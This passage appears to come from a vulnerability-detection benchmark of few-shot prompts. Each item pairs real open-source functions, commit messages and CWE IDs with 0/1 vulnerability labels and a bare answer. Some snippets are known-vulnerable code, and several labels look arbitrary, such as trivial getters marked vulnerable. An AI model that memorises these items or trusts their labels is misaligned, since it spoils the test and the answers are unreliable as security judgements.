"len" is between 25 and NL80211_ATTR_FRAME (2304). We subtract DOT11_MGMT_HDR_LEN (24) from "len" so thats's max of 2280. However, the action_frame->data[] buffer is only BRCMF_FIL_ACTION_FRAME_SIZE (1800) bytes long so this memcpy() can overflow. memcpy(action_frame->data, &buf[DOT11_MGMT_HDR_LEN], le16_to_cpu(action_frame->len)); Cc: [email protected] # 3.9.x Fixes: 18e2f61db3b70 ("brcmfmac: P2P action frame tx.") Reported-by: "freenerguo(郭大兴)" <[email protected]> Signed-off-by: Arend van Spriel <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: BlockEntry::Kind SimpleBlock::GetKind() const { return kBlockSimple; } Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 CWE ID: CWE-119 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: dump_keywords(vector_t *keydump, int level, FILE *fp) { unsigned int i; keyword_t *keyword_vec; char file_name[21]; if (!level) { snprintf(file_name, sizeof(file_name), "/tmp/keywords.%d", getpid()); fp = fopen(file_name, "w"); if (!fp) return; } for (i = 0; i < vector_size(keydump); i++) { keyword_vec = vector_slot(keydump, i); fprintf(fp, "%*sKeyword : %s (%s)\n", level * 2, "", keyword_vec->string, keyword_vec->active ? "active": "disabled"); if (keyword_vec->sub) dump_keywords(keyword_vec->sub, level + 1, fp); } if (!level) fclose(fp); } Commit Message: When opening files for write, ensure they aren't symbolic links Issue #1048 identified that if, for example, a non privileged user created a symbolic link from /etc/keepalvied.data to /etc/passwd, writing to /etc/keepalived.data (which could be invoked via DBus) would cause /etc/passwd to be overwritten. This commit stops keepalived writing to pathnames where the ultimate component is a symbolic link, by setting O_NOFOLLOW whenever opening a file for writing. This might break some setups, where, for example, /etc/keepalived.data was a symbolic link to /home/fred/keepalived.data. If this was the case, instead create a symbolic link from /home/fred/keepalived.data to /tmp/keepalived.data, so that the file is still accessible via /home/fred/keepalived.data. There doesn't appear to be a way around this backward incompatibility, since even checking if the pathname is a symbolic link prior to opening for writing would create a race condition. Signed-off-by: Quentin Armitage <[email protected]> CWE ID: CWE-59 Target: 1 Example 2: Code: void SoftAMR::onPortEnableCompleted(OMX_U32 portIndex, bool enabled) { if (portIndex != 1) { return; } switch (mOutputPortSettingsChange) { case NONE: break; case AWAITING_DISABLED: { CHECK(!enabled); mOutputPortSettingsChange = AWAITING_ENABLED; break; } default: { CHECK_EQ((int)mOutputPortSettingsChange, (int)AWAITING_ENABLED); CHECK(enabled); mOutputPortSettingsChange = NONE; break; } } } Commit Message: SoftAMR: check output buffer size to avoid overflow. Bug: 27662364 Change-Id: I7b26892c41d6f2e690e77478ab855c2fed1ff6b0 CWE ID: CWE-264 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void ext4_xattr_destroy_cache(struct mb_cache *cache) { if (cache) mb_cache_destroy(cache); } Commit Message: ext4: convert to mbcache2 The conversion is generally straightforward. The only tricky part is that xattr block corresponding to found mbcache entry can get freed before we get buffer lock for that block. So we have to check whether the entry is still valid after getting buffer lock. Signed-off-by: Jan Kara <[email protected]> Signed-off-by: Theodore Ts'o <[email protected]> CWE ID: CWE-19 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void ResourceDispatcherHostImpl::OnReadCompleted(net::URLRequest* request, int bytes_read) { DCHECK(request); VLOG(1) << "OnReadCompleted: \"" << request->url().spec() << "\"" << " bytes_read = " << bytes_read; ResourceRequestInfoImpl* info = ResourceRequestInfoImpl::ForRequest(request); if (bytes_read == -1) { DCHECK(!request->status().is_success()); ResponseCompleted(request); return; } info->set_has_started_reading(true); if (PauseRequestIfNeeded(info)) { info->set_paused_read_bytes(bytes_read); VLOG(1) << "OnReadCompleted pausing: \"" << request->url().spec() << "\"" << " bytes_read = " << bytes_read; return; } if (request->status().is_success() && CompleteRead(request, &bytes_read)) { if (info->pause_count() == 0 && Read(request, &bytes_read) && request->status().is_success()) { if (bytes_read == 0) { CompleteRead(request, &bytes_read); } else { VLOG(1) << "OnReadCompleted postponing: \"" << request->url().spec() << "\"" << " bytes_read = " << bytes_read; info->set_paused_read_bytes(bytes_read); info->set_is_paused(true); GlobalRequestID id(info->GetChildID(), info->GetRequestID()); MessageLoop::current()->PostTask( FROM_HERE, base::Bind( &ResourceDispatcherHostImpl::ResumeRequest, weak_factory_.GetWeakPtr(), id)); return; } } } if (PauseRequestIfNeeded(info)) { info->set_paused_read_bytes(bytes_read); VLOG(1) << "OnReadCompleted (CompleteRead) pausing: \"" << request->url().spec() << "\"" << " bytes_read = " << bytes_read; return; } if (!request->status().is_io_pending()) ResponseCompleted(request); } Commit Message: Inherits SupportsWeakPtr<T> instead of having WeakPtrFactory<T> This change refines r137676. BUG=122654 TEST=browser_test Review URL: https://chromiumcodereview.appspot.com/10332233 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139771 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-119 Target: 1 Example 2: Code: cifs_sb_master_tlink(struct cifs_sb_info *cifs_sb) { return cifs_sb->master_tlink; } Commit Message: cifs: always do is_path_accessible check in cifs_mount Currently, we skip doing the is_path_accessible check in cifs_mount if there is no prefixpath. I have a report of at least one server however that allows a TREE_CONNECT to a share that has a DFS referral at its root. The reporter in this case was using a UNC that had no prefixpath, so the is_path_accessible check was not triggered and the box later hit a BUG() because we were chasing a DFS referral on the root dentry for the mount. This patch fixes this by removing the check for a zero-length prefixpath. That should make the is_path_accessible check be done in this situation and should allow the client to chase the DFS referral at mount time instead. Cc: [email protected] Reported-and-Tested-by: Yogesh Sharma <[email protected]> Signed-off-by: Jeff Layton <[email protected]> Signed-off-by: Steve French <[email protected]> CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: std::string OutOfProcessInstance::GetLocalizedString(PP_ResourceString id) { pp::Var rv(pp::PDF::GetLocalizedString(this, id)); if (!rv.is_string()) return std::string(); return rv.AsString(); } Commit Message: Prevent leaking PDF data cross-origin BUG=520422 Review URL: https://codereview.chromium.org/1311973002 Cr-Commit-Position: refs/heads/master@{#345267} CWE ID: CWE-20 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static void mcf_fec_do_tx(mcf_fec_state *s) { uint32_t addr; uint32_t addr; mcf_fec_bd bd; int frame_size; int len; uint8_t frame[FEC_MAX_FRAME_SIZE]; uint8_t *ptr; ptr = frame; ptr = frame; frame_size = 0; addr = s->tx_descriptor; while (1) { mcf_fec_read_bd(&bd, addr); DPRINTF("tx_bd %x flags %04x len %d data %08x\n", addr, bd.flags, bd.length, bd.data); /* Run out of descriptors to transmit. */ break; } len = bd.length; if (frame_size + len > FEC_MAX_FRAME_SIZE) { len = FEC_MAX_FRAME_SIZE - frame_size; s->eir |= FEC_INT_BABT; } cpu_physical_memory_read(bd.data, ptr, len); ptr += len; frame_size += len; if (bd.flags & FEC_BD_L) { /* Last buffer in frame. */ DPRINTF("Sending packet\n"); qemu_send_packet(qemu_get_queue(s->nic), frame, len); ptr = frame; frame_size = 0; s->eir |= FEC_INT_TXF; } s->eir |= FEC_INT_TXB; bd.flags &= ~FEC_BD_R; /* Write back the modified descriptor. */ mcf_fec_write_bd(&bd, addr); /* Advance to the next descriptor. */ if ((bd.flags & FEC_BD_W) != 0) { addr = s->etdsr; } else { addr += 8; } } Commit Message: CWE ID: CWE-399 Target: 1 Example 2: Code: static inline bool ipv6_use_optimistic_addr(struct inet6_dev *idev) { #ifdef CONFIG_IPV6_OPTIMISTIC_DAD return idev && idev->cnf.optimistic_dad && idev->cnf.use_optimistic; #else return false; #endif } Commit Message: ipv6: addrconf: validate new MTU before applying it Currently we don't check if the new MTU is valid or not and this allows one to configure a smaller than minimum allowed by RFCs or even bigger than interface own MTU, which is a problem as it may lead to packet drops. If you have a daemon like NetworkManager running, this may be exploited by remote attackers by forging RA packets with an invalid MTU, possibly leading to a DoS. (NetworkManager currently only validates for values too small, but not for too big ones.) The fix is just to make sure the new value is valid. That is, between IPV6_MIN_MTU and interface's MTU. Note that similar check is already performed at ndisc_router_discovery(), for when kernel itself parses the RA. Signed-off-by: Marcelo Ricardo Leitner <[email protected]> Signed-off-by: Sabrina Dubroca <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: NavigationPolicy GetNavigationPolicy(const WebInputEvent* current_event, const WebWindowFeatures& features) { //// Check that the desired NavigationPolicy |policy| is compatible with the //// observed input event |current_event|. bool as_popup = !features.tool_bar_visible || !features.status_bar_visible || !features.scrollbars_visible || !features.menu_bar_visible || !features.resizable; NavigationPolicy policy = as_popup ? kNavigationPolicyNewPopup : kNavigationPolicyNewForegroundTab; UpdatePolicyForEvent(current_event, &policy); return policy; } Commit Message: Only allow downloading in response to real keyboard modifiers BUG=848531 Change-Id: I97554c8d312243b55647f1376945aee32dbd95bf Reviewed-on: https://chromium-review.googlesource.com/1082216 Reviewed-by: Mike West <[email protected]> Commit-Queue: Jochen Eisinger <[email protected]> Cr-Commit-Position: refs/heads/master@{#564051} CWE ID: Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: zset_outputintent(i_ctx_t * i_ctx_p) { os_ptr op = osp; int code = 0; gx_device *dev = gs_currentdevice(igs); cmm_dev_profile_t *dev_profile; stream * s = 0L; ref * pnval; ref * pstrmval; int ncomps, dev_comps; cmm_profile_t *picc_profile; int expected = 0; gs_color_space_index index; gsicc_manager_t *icc_manager = igs->icc_manager; cmm_profile_t *source_profile = NULL; check_type(*op, t_dictionary); check_dict_read(*op); if_debug0m(gs_debug_flag_icc, imemory, "[icc] Using OutputIntent\n"); /* Get the device structure */ code = dev_proc(dev, get_profile)(dev, &dev_profile); if (code < 0) return code; if (dev_profile == NULL) { code = gsicc_init_device_profile_struct(dev, NULL, 0); if (code < 0) return code; code = dev_proc(dev, get_profile)(dev, &dev_profile); if (code < 0) return code; } if (dev_profile->oi_profile != NULL) { return 0; /* Allow only one setting of this object */ } code = dict_find_string(op, "N", &pnval); if (code < 0) return code; if (code == 0) return_error(gs_error_undefined); ncomps = pnval->value.intval; /* verify the DataSource entry. Creat profile from stream */ check_read_file(i_ctx_p, s, pstrmval); picc_profile = gsicc_profile_new(s, gs_gstate_memory(igs), NULL, 0); if (picc_profile == NULL) return gs_throw(gs_error_VMerror, "Creation of ICC profile failed"); picc_profile->num_comps = ncomps; picc_profile->profile_handle = gsicc_get_profile_handle_buffer(picc_profile->buffer, picc_profile->buffer_size, gs_gstate_memory(igs)); if (picc_profile->profile_handle == NULL) { rc_decrement(picc_profile,"zset_outputintent"); return -1; } picc_profile->data_cs = gscms_get_profile_data_space(picc_profile->profile_handle, picc_profile->memory); switch (picc_profile->data_cs) { case gsCIEXYZ: case gsCIELAB: case gsRGB: expected = 3; source_profile = icc_manager->default_rgb; break; case gsGRAY: expected = 1; source_profile = icc_manager->default_gray; break; case gsCMYK: expected = 4; source_profile = icc_manager->default_cmyk; break; case gsNCHANNEL: expected = 0; break; case gsNAMED: case gsUNDEFINED: break; } if (expected && ncomps != expected) { rc_decrement(picc_profile,"zset_outputintent"); return_error(gs_error_rangecheck); } gsicc_init_hash_cs(picc_profile, igs); /* All is well with the profile. Lets set the stuff that needs to be set */ dev_profile->oi_profile = picc_profile; picc_profile->name = (char *) gs_alloc_bytes(picc_profile->memory, MAX_DEFAULT_ICC_LENGTH, "zset_outputintent"); strncpy(picc_profile->name, OI_PROFILE, strlen(OI_PROFILE)); picc_profile->name[strlen(OI_PROFILE)] = 0; picc_profile->name_length = strlen(OI_PROFILE); /* Set the range of the profile */ gsicc_set_icc_range(&picc_profile); /* If the output device has a different number of componenets, then we are going to set the output intent as the proofing profile, unless the proofing profile has already been set. If the device has the same number of components (and color model) then as the profile we will use this as the output profile, unless someone has explicitly set the output profile. Finally, we will use the output intent profile for the default profile of the proper Device profile in the icc manager, again, unless someone has explicitly set this default profile. */ dev_comps = dev_profile->device_profile[0]->num_comps; index = gsicc_get_default_type(dev_profile->device_profile[0]); if (ncomps == dev_comps && index < gs_color_space_index_DevicePixel) { /* The OI profile is the same type as the profile for the device and a "default" profile for the device was not externally set. So we go ahead and use the OI profile as the device profile. Care needs to be taken here to keep from screwing up any device parameters. We will use a keyword of OIProfile for the user/device parameter to indicate its usage. Also, note conflicts if one is setting object dependent color management */ rc_assign(dev_profile->device_profile[0], picc_profile, "zset_outputintent"); if_debug0m(gs_debug_flag_icc, imemory, "[icc] OutputIntent used for device profile\n"); } else { if (dev_profile->proof_profile == NULL) { /* This means that we should use the OI profile as the proofing profile. Note that if someone already has specified a proofing profile it is unclear what they are trying to do with the output intent. In this case, we will use it just for the source data below */ dev_profile->proof_profile = picc_profile; rc_increment(picc_profile); if_debug0m(gs_debug_flag_icc, imemory, "[icc] OutputIntent used for proof profile\n"); } } /* Now the source colors. See which source color space needs to use the output intent ICC profile */ index = gsicc_get_default_type(source_profile); if (index < gs_color_space_index_DevicePixel) { /* source_profile is currently the default. Set it to the OI profile */ switch (picc_profile->data_cs) { case gsGRAY: if_debug0m(gs_debug_flag_icc, imemory, "[icc] OutputIntent used source Gray\n"); rc_assign(icc_manager->default_gray, picc_profile, "zset_outputintent"); break; case gsRGB: if_debug0m(gs_debug_flag_icc, imemory, "[icc] OutputIntent used source RGB\n"); rc_assign(icc_manager->default_rgb, picc_profile, "zset_outputintent"); break; case gsCMYK: if_debug0m(gs_debug_flag_icc, imemory, "[icc] OutputIntent used source CMYK\n"); rc_assign(icc_manager->default_cmyk, picc_profile, "zset_outputintent"); break; default: break; } } /* Remove the output intent dict from the stack */ pop(1); return code; } Commit Message: CWE ID: CWE-704 Target: 1 Example 2: Code: static void epilog_timer_expired(UNUSED_ATTR void *context) { LOG_INFO("%s", __func__); thread_stop(thread); } Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process Bug: 28885210 Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360 Conflicts: btif/co/bta_hh_co.c btif/src/btif_core.c Merge conflict resolution of ag/1161415 (referencing ag/1164670) - Directly into mnc-mr2-release CWE ID: CWE-284 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void SVGElement::ReportAttributeParsingError(SVGParsingError error, const QualifiedName& name, const AtomicString& value) { if (error == SVGParseStatus::kNoError) return; if (value.IsNull()) return; GetDocument().AddConsoleMessage( ConsoleMessage::Create(kRenderingMessageSource, kErrorMessageLevel, "Error: " + error.Format(tagName(), name, value))); } Commit Message: Fix SVG crash for v0 distribution into foreignObject. We require a parent element to be an SVG element for non-svg-root elements in order to create a LayoutObject for them. However, we checked the light tree parent element, not the flat tree one which is the parent for the layout tree construction. Note that this is just an issue in Shadow DOM v0 since v1 does not allow shadow roots on SVG elements. Bug: 915469 Change-Id: Id81843abad08814fae747b5bc81c09666583f130 Reviewed-on: https://chromium-review.googlesource.com/c/1382494 Reviewed-by: Fredrik Söderquist <[email protected]> Commit-Queue: Rune Lillesveen <[email protected]> Cr-Commit-Position: refs/heads/master@{#617487} CWE ID: CWE-704 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: int X509_cmp_time(const ASN1_TIME *ctm, time_t *cmp_time) { char *str; ASN1_TIME atm; long offset; char buff1[24], buff2[24], *p; int i, j; p = buff1; i = ctm->length; str = (char *)ctm->data; if (ctm->type == V_ASN1_UTCTIME) { if ((i < 11) || (i > 17)) return 0; memcpy(p, str, 10); p += 10; str += 10; } else { if (i < 13) return 0; memcpy(p, str, 12); p += 12; str += 12; } if ((*str == 'Z') || (*str == '-') || (*str == '+')) { *(p++) = '0'; *(p++) = '0'; } else { *(p++) = *(str++); *(p++) = *(str++); /* Skip any fractional seconds... */ if (*str == '.') { str++; while ((*str >= '0') && (*str <= '9')) str++; } } *(p++) = 'Z'; *(p++) = '\0'; if (*str == 'Z') offset = 0; else { if ((*str != '+') && (*str != '-')) return 0; offset = ((str[1] - '0') * 10 + (str[2] - '0')) * 60; offset += (str[3] - '0') * 10 + (str[4] - '0'); if (*str == '-') offset = -offset; } atm.type = ctm->type; atm.flags = 0; atm.length = sizeof(buff2); atm.data = (unsigned char *)buff2; if (X509_time_adj(&atm, offset * 60, cmp_time) == NULL) return 0; if (ctm->type == V_ASN1_UTCTIME) { i = (buff1[0] - '0') * 10 + (buff1[1] - '0'); if (i < 50) i += 100; /* cf. RFC 2459 */ j = (buff2[0] - '0') * 10 + (buff2[1] - '0'); if (j < 50) j += 100; if (i < j) return -1; if (i > j) return 1; } i = strcmp(buff1, buff2); if (i == 0) /* wait a second then return younger :-) */ return -1; else return i; } Commit Message: Fix length checks in X509_cmp_time to avoid out-of-bounds reads. Also tighten X509_cmp_time to reject more than three fractional seconds in the time; and to reject trailing garbage after the offset. CVE-2015-1789 Reviewed-by: Viktor Dukhovni <[email protected]> Reviewed-by: Richard Levitte <[email protected]> CWE ID: CWE-119 Target: 1 Example 2: Code: void ParamTraits<std::vector<unsigned char> >::Log(const param_type& p, std::string* l) { LogBytes(p, l); } Commit Message: Validate that paths don't contain embedded NULLs at deserialization. BUG=166867 Review URL: https://chromiumcodereview.appspot.com/11743009 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@174935 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: int __kvm_set_memory_region(struct kvm *kvm, struct kvm_userspace_memory_region *mem, int user_alloc) { int r; gfn_t base_gfn; unsigned long npages; unsigned long i; struct kvm_memory_slot *memslot; struct kvm_memory_slot old, new; struct kvm_memslots *slots, *old_memslots; r = -EINVAL; /* General sanity checks */ if (mem->memory_size & (PAGE_SIZE - 1)) goto out; if (mem->guest_phys_addr & (PAGE_SIZE - 1)) goto out; if (user_alloc && (mem->userspace_addr & (PAGE_SIZE - 1))) goto out; if (mem->slot >= KVM_MEMORY_SLOTS + KVM_PRIVATE_MEM_SLOTS) goto out; if (mem->guest_phys_addr + mem->memory_size < mem->guest_phys_addr) goto out; memslot = &kvm->memslots->memslots[mem->slot]; base_gfn = mem->guest_phys_addr >> PAGE_SHIFT; npages = mem->memory_size >> PAGE_SHIFT; r = -EINVAL; if (npages > KVM_MEM_MAX_NR_PAGES) goto out; if (!npages) mem->flags &= ~KVM_MEM_LOG_DIRTY_PAGES; new = old = *memslot; new.id = mem->slot; new.base_gfn = base_gfn; new.npages = npages; new.flags = mem->flags; /* Disallow changing a memory slot's size. */ r = -EINVAL; if (npages && old.npages && npages != old.npages) goto out_free; /* Check for overlaps */ r = -EEXIST; for (i = 0; i < KVM_MEMORY_SLOTS; ++i) { struct kvm_memory_slot *s = &kvm->memslots->memslots[i]; if (s == memslot || !s->npages) continue; if (!((base_gfn + npages <= s->base_gfn) || (base_gfn >= s->base_gfn + s->npages))) goto out_free; } /* Free page dirty bitmap if unneeded */ if (!(new.flags & KVM_MEM_LOG_DIRTY_PAGES)) new.dirty_bitmap = NULL; r = -ENOMEM; /* Allocate if a slot is being created */ #ifndef CONFIG_S390 if (npages && !new.rmap) { new.rmap = vzalloc(npages * sizeof(*new.rmap)); if (!new.rmap) goto out_free; new.user_alloc = user_alloc; new.userspace_addr = mem->userspace_addr; } if (!npages) goto skip_lpage; for (i = 0; i < KVM_NR_PAGE_SIZES - 1; ++i) { unsigned long ugfn; unsigned long j; int lpages; int level = i + 2; /* Avoid unused variable warning if no large pages */ (void)level; if (new.lpage_info[i]) continue; lpages = 1 + ((base_gfn + npages - 1) >> KVM_HPAGE_GFN_SHIFT(level)); lpages -= base_gfn >> KVM_HPAGE_GFN_SHIFT(level); new.lpage_info[i] = vzalloc(lpages * sizeof(*new.lpage_info[i])); if (!new.lpage_info[i]) goto out_free; if (base_gfn & (KVM_PAGES_PER_HPAGE(level) - 1)) new.lpage_info[i][0].write_count = 1; if ((base_gfn+npages) & (KVM_PAGES_PER_HPAGE(level) - 1)) new.lpage_info[i][lpages - 1].write_count = 1; ugfn = new.userspace_addr >> PAGE_SHIFT; /* * If the gfn and userspace address are not aligned wrt each * other, or if explicitly asked to, disable large page * support for this slot */ if ((base_gfn ^ ugfn) & (KVM_PAGES_PER_HPAGE(level) - 1) || !largepages_enabled) for (j = 0; j < lpages; ++j) new.lpage_info[i][j].write_count = 1; } skip_lpage: /* Allocate page dirty bitmap if needed */ if ((new.flags & KVM_MEM_LOG_DIRTY_PAGES) && !new.dirty_bitmap) { if (kvm_create_dirty_bitmap(&new) < 0) goto out_free; /* destroy any largepage mappings for dirty tracking */ } #else /* not defined CONFIG_S390 */ new.user_alloc = user_alloc; if (user_alloc) new.userspace_addr = mem->userspace_addr; #endif /* not defined CONFIG_S390 */ if (!npages) { r = -ENOMEM; slots = kzalloc(sizeof(struct kvm_memslots), GFP_KERNEL); if (!slots) goto out_free; memcpy(slots, kvm->memslots, sizeof(struct kvm_memslots)); if (mem->slot >= slots->nmemslots) slots->nmemslots = mem->slot + 1; slots->generation++; slots->memslots[mem->slot].flags |= KVM_MEMSLOT_INVALID; old_memslots = kvm->memslots; rcu_assign_pointer(kvm->memslots, slots); synchronize_srcu_expedited(&kvm->srcu); /* From this point no new shadow pages pointing to a deleted * memslot will be created. * * validation of sp->gfn happens in: * - gfn_to_hva (kvm_read_guest, gfn_to_pfn) * - kvm_is_visible_gfn (mmu_check_roots) */ kvm_arch_flush_shadow(kvm); kfree(old_memslots); } r = kvm_arch_prepare_memory_region(kvm, &new, old, mem, user_alloc); if (r) goto out_free; /* map the pages in iommu page table */ if (npages) { r = kvm_iommu_map_pages(kvm, &new); if (r) goto out_free; } r = -ENOMEM; slots = kzalloc(sizeof(struct kvm_memslots), GFP_KERNEL); if (!slots) goto out_free; memcpy(slots, kvm->memslots, sizeof(struct kvm_memslots)); if (mem->slot >= slots->nmemslots) slots->nmemslots = mem->slot + 1; slots->generation++; /* actual memory is freed via old in kvm_free_physmem_slot below */ if (!npages) { new.rmap = NULL; new.dirty_bitmap = NULL; for (i = 0; i < KVM_NR_PAGE_SIZES - 1; ++i) new.lpage_info[i] = NULL; } slots->memslots[mem->slot] = new; old_memslots = kvm->memslots; rcu_assign_pointer(kvm->memslots, slots); synchronize_srcu_expedited(&kvm->srcu); kvm_arch_commit_memory_region(kvm, mem, old, user_alloc); kvm_free_physmem_slot(&old, &new); kfree(old_memslots); return 0; out_free: kvm_free_physmem_slot(&new, &old); out: return r; } Commit Message: KVM: Validate userspace_addr of memslot when registered This way, we can avoid checking the user space address many times when we read the guest memory. Although we can do the same for write if we check which slots are writable, we do not care write now: reading the guest memory happens more often than writing. [avi: change VERIFY_READ to VERIFY_WRITE] Signed-off-by: Takuya Yoshikawa <[email protected]> Signed-off-by: Avi Kivity <[email protected]> CWE ID: CWE-20 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: xsltInitCtxtKey(xsltTransformContextPtr ctxt, xsltDocumentPtr idoc, xsltKeyDefPtr keyDef) { int i, len, k; xmlNodeSetPtr matchList = NULL, keylist; xmlXPathObjectPtr matchRes = NULL, useRes = NULL; xmlChar *str = NULL; xsltKeyTablePtr table; xmlNodePtr oldInst, cur; xmlNodePtr oldContextNode; xsltDocumentPtr oldDocInfo; int oldXPPos, oldXPSize; xmlDocPtr oldXPDoc; int oldXPNsNr; xmlNsPtr *oldXPNamespaces; xmlXPathContextPtr xpctxt; #ifdef KEY_INIT_DEBUG fprintf(stderr, "xsltInitCtxtKey %s : %d\n", keyDef->name, ctxt->keyInitLevel); #endif if ((keyDef->comp == NULL) || (keyDef->usecomp == NULL)) return(-1); /* * Detect recursive keys */ if (ctxt->keyInitLevel > ctxt->nbKeys) { #ifdef WITH_XSLT_DEBUG_KEYS XSLT_TRACE(ctxt,XSLT_TRACE_KEYS, xsltGenericDebug(xsltGenericDebugContext, "xsltInitCtxtKey: key definition of %s is recursive\n", keyDef->name)); #endif xsltTransformError(ctxt, NULL, keyDef->inst, "Key definition for %s is recursive\n", keyDef->name); ctxt->state = XSLT_STATE_STOPPED; return(-1); } ctxt->keyInitLevel++; xpctxt = ctxt->xpathCtxt; idoc->nbKeysComputed++; /* * Save context state. */ oldInst = ctxt->inst; oldDocInfo = ctxt->document; oldContextNode = ctxt->node; oldXPDoc = xpctxt->doc; oldXPPos = xpctxt->proximityPosition; oldXPSize = xpctxt->contextSize; oldXPNsNr = xpctxt->nsNr; oldXPNamespaces = xpctxt->namespaces; /* * Set up contexts. */ ctxt->document = idoc; ctxt->node = (xmlNodePtr) idoc->doc; ctxt->inst = keyDef->inst; xpctxt->doc = idoc->doc; xpctxt->node = (xmlNodePtr) idoc->doc; /* TODO : clarify the use of namespaces in keys evaluation */ xpctxt->namespaces = keyDef->nsList; xpctxt->nsNr = keyDef->nsNr; /* * Evaluate the 'match' expression of the xsl:key. * TODO: The 'match' is a *pattern*. */ matchRes = xmlXPathCompiledEval(keyDef->comp, xpctxt); if (matchRes == NULL) { #ifdef WITH_XSLT_DEBUG_KEYS XSLT_TRACE(ctxt,XSLT_TRACE_KEYS,xsltGenericDebug(xsltGenericDebugContext, "xsltInitCtxtKey: %s evaluation failed\n", keyDef->match)); #endif xsltTransformError(ctxt, NULL, keyDef->inst, "Failed to evaluate the 'match' expression.\n"); ctxt->state = XSLT_STATE_STOPPED; goto error; } else { if (matchRes->type == XPATH_NODESET) { matchList = matchRes->nodesetval; #ifdef WITH_XSLT_DEBUG_KEYS if (matchList != NULL) XSLT_TRACE(ctxt,XSLT_TRACE_KEYS,xsltGenericDebug(xsltGenericDebugContext, "xsltInitCtxtKey: %s evaluates to %d nodes\n", keyDef->match, matchList->nodeNr)); #endif } else { /* * Is not a node set, but must be. */ #ifdef WITH_XSLT_DEBUG_KEYS XSLT_TRACE(ctxt,XSLT_TRACE_KEYS,xsltGenericDebug(xsltGenericDebugContext, "xsltInitCtxtKey: %s is not a node set\n", keyDef->match)); #endif xsltTransformError(ctxt, NULL, keyDef->inst, "The 'match' expression did not evaluate to a node set.\n"); ctxt->state = XSLT_STATE_STOPPED; goto error; } } if ((matchList == NULL) || (matchList->nodeNr <= 0)) goto exit; /** * Multiple key definitions for the same name are allowed, so * we must check if the key is already present for this doc */ table = (xsltKeyTablePtr) idoc->keys; while (table != NULL) { if (xmlStrEqual(table->name, keyDef->name) && (((keyDef->nameURI == NULL) && (table->nameURI == NULL)) || ((keyDef->nameURI != NULL) && (table->nameURI != NULL) && (xmlStrEqual(table->nameURI, keyDef->nameURI))))) break; table = table->next; } /** * If the key was not previously defined, create it now and * chain it to the list of keys for the doc */ if (table == NULL) { table = xsltNewKeyTable(keyDef->name, keyDef->nameURI); if (table == NULL) goto error; table->next = idoc->keys; idoc->keys = table; } /* * SPEC XSLT 1.0 (XSLT 2.0 does not clarify the context size!) * "...the use attribute of the xsl:key element is evaluated with x as " the current node and with a node list containing just x as the * current node list" */ xpctxt->contextSize = 1; xpctxt->proximityPosition = 1; for (i = 0; i < matchList->nodeNr; i++) { cur = matchList->nodeTab[i]; if (! IS_XSLT_REAL_NODE(cur)) continue; xpctxt->node = cur; /* * Process the 'use' of the xsl:key. * SPEC XSLT 1.0: * "The use attribute is an expression specifying the values of * the key; the expression is evaluated once for each node that * matches the pattern." */ if (useRes != NULL) xmlXPathFreeObject(useRes); useRes = xmlXPathCompiledEval(keyDef->usecomp, xpctxt); if (useRes == NULL) { xsltTransformError(ctxt, NULL, keyDef->inst, "Failed to evaluate the 'use' expression.\n"); ctxt->state = XSLT_STATE_STOPPED; break; } if (useRes->type == XPATH_NODESET) { if ((useRes->nodesetval != NULL) && (useRes->nodesetval->nodeNr != 0)) { len = useRes->nodesetval->nodeNr; str = xmlXPathCastNodeToString(useRes->nodesetval->nodeTab[0]); } else { continue; } } else { len = 1; if (useRes->type == XPATH_STRING) { /* * Consume the string value. */ str = useRes->stringval; useRes->stringval = NULL; } else { str = xmlXPathCastToString(useRes); } } /* * Process all strings. */ k = 0; while (1) { if (str == NULL) goto next_string; #ifdef WITH_XSLT_DEBUG_KEYS XSLT_TRACE(ctxt,XSLT_TRACE_KEYS,xsltGenericDebug(xsltGenericDebugContext, "xsl:key : node associated to ('%s', '%s')\n", keyDef->name, str)); #endif keylist = xmlHashLookup(table->keys, str); if (keylist == 